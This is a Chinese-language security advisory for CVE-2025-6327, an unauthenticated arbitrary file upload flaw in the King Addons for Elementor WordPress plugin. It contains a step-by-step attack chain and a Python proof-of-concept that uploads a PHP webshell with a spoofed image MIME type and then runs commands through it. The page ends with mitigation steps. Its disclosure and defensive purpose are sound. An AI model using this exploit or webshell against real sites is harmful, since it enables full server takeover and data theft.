IPBUF安全漏洞报告
English
CVE-2025-6327 CVSS 10.0 严重

CVE-2025-6327 King Addons for Elementor插件任意文件上传漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-6327
漏洞类型
任意文件上传
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
King Addons for Elementor

相关标签

任意文件上传WebShell远程代码执行WordPress插件漏洞CVE-2025-6327King AddonsElementor无认证利用CVSS10.0

漏洞概述

CVE-2025-6327是WordPress插件King Addons for Elementor中的一个严重安全漏洞。该漏洞属于危险类型文件的无限制上传(Unrestricted Upload of File with Dangerous Type),允许未经认证的攻击者上传恶意Web Shell到Web服务器,从而实现远程代码执行(RCE)。King Addons for Elementor是WordPress生态中广受欢迎的元素构建器插件,为用户提供了丰富的页面设计和布局功能。该插件在WordPress网站上安装量巨大,因此此漏洞影响范围极广。由于漏洞的CVSS评分达到满分10.0,且无需任何认证或用户交互即可被利用,攻击者可以在短时间内批量扫描并入侵大量使用该插件的WordPress网站。攻击成功后,攻击者可以完全控制目标服务器,执行任意系统命令,窃取敏感数据,或将网站作为进一步攻击的跳板。此漏洞已被Patchstack等安全平台标记为高危,建议所有使用该插件的用户立即采取修复措施。

技术细节

King Addons for Elementor插件在处理文件上传时存在严重的安全缺陷。漏洞主要源于插件未能对用户上传的文件类型和内容进行充分的验证和过滤。攻击者可以构造恶意的文件上传请求,将PHP脚本(Web Shell)伪装成图片或其他允许上传的文件类型上传到服务器。插件的文件上传端点缺少以下关键安全检查:1)文件类型白名单验证不足,仅依赖客户端提供的MIME类型或文件扩展名;2)未对上传文件内容进行深度检查,无法识别嵌入的恶意代码;3)上传目录权限配置不当,允许PHP文件被执行。当攻击者成功上传Web Shell后,可以通过HTTP请求访问该文件并在服务器上执行任意PHP代码或系统命令。由于WordPress插件通常以较高权限运行,攻击者可以利用Web Shell获得对整个网站的完全控制权,包括访问数据库、修改网站内容或植入后门程序。

攻击链分析

STEP 1
步骤1: 侦察和信息收集
攻击者扫描互联网上的WordPress网站,识别安装了King Addons for Elementor插件的站点,并确定插件版本是否在受影响范围内(<=51.1.36)
STEP 2
步骤2: 构造恶意文件
攻击者创建包含恶意PHP代码的Web Shell文件,可以是简单的命令执行一句话木马,或功能更完整的webshell管理工具
STEP 3
步骤3: 绕过文件上传验证
攻击者通过修改文件MIME类型、添加图片文件头(如GIF89a)或利用插件的验证缺陷,绕过客户端和服务器端的文件类型检查
STEP 4
步骤4: 上传Web Shell
攻击者向插件的文件上传端点发送POST请求,上传伪装成图片或其他合法文件的PHP Web Shell到服务器
STEP 5
步骤5: 执行远程代码
攻击者通过HTTP请求访问上传的Web Shell文件,在URL参数中传递系统命令,实现远程代码执行(RCE)
STEP 6
步骤6: 持久化控制
攻击者利用获得的服务器权限,植入后门、修改网站内容、窃取数据库中的敏感信息,或将服务器作为跳板进行横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-6327 PoC - King Addons for Elementor Arbitrary File Upload This PoC demonstrates the file upload vulnerability in King Addons for Elementor plugin. """ import requests import sys import random import string def generate_webshell(): """Generate a simple PHP webshell""" return '<?php system($_GET["cmd"]); ?>' def generate_random_string(length=8): """Generate random string for filename""" return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def exploit_cve_2025_6327(target_url, webshell_filename=None): """ Exploit for CVE-2025-6327 Args: target_url: Target WordPress site URL webshell_filename: Optional custom filename for the webshell Returns: Uploaded file path if successful, None otherwise """ if webshell_filename is None: webshell_filename = f"{generate_random_string()}.php" # The vulnerable endpoint and parameter may vary # This requires reconnaissance to identify the exact upload endpoint upload_endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Prepare the malicious file files = { 'file': (webshell_filename, generate_webshell(), 'image/jpeg') } # The actual parameter name needs to be identified through testing data = { 'action': 'king_addons_upload_file', 'security': 'nonce_value_here' # Nonce may or may not be required } try: print(f"[*] Attempting to upload webshell to {target_url}") print(f"[*] Filename: {webshell_filename}") # Send the upload request response = requests.post( upload_endpoint, files=files, data=data, timeout=30 ) if response.status_code == 200: print(f"[+] Request sent, check response: {response.text}") return webshell_filename else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") return None def main(): if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} https://example.com") sys.exit(1) target = sys.argv[1] result = exploit_cve_2025_6327(target) if result: print(f"\n[!] Exploitation may have succeeded") print(f"[!] Try accessing: {target}/wp-content/uploads/king-addons/{result}?cmd=whoami") else: print(f"\n[-] Exploitation failed or target not vulnerable") if __name__ == "__main__": main()

影响范围

King Addons for Elementor <= 51.1.36

防御指南

临时缓解措施
由于该漏洞无需认证即可被利用,且CVSS评分为满分10.0,建议立即采取以下临时缓解措施:1)如果可能,暂时禁用King Addons for Elementor插件;2)在Web服务器配置中禁用上传目录的PHP执行权限,在wp-content/uploads目录的.htaccess文件中添加"<FilesMatch \"\\.php$\">Order Deny,Allow\nDeny from all\n</FilesMatch>"规则;3)使用ModSecurity等WAF规则阻止可疑的文件上传请求;4)加强文件上传监控,设置告警机制及时发现异常的上传行为。同时应尽快应用官方发布的安全更新,将插件升级至51.1.37或更高版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表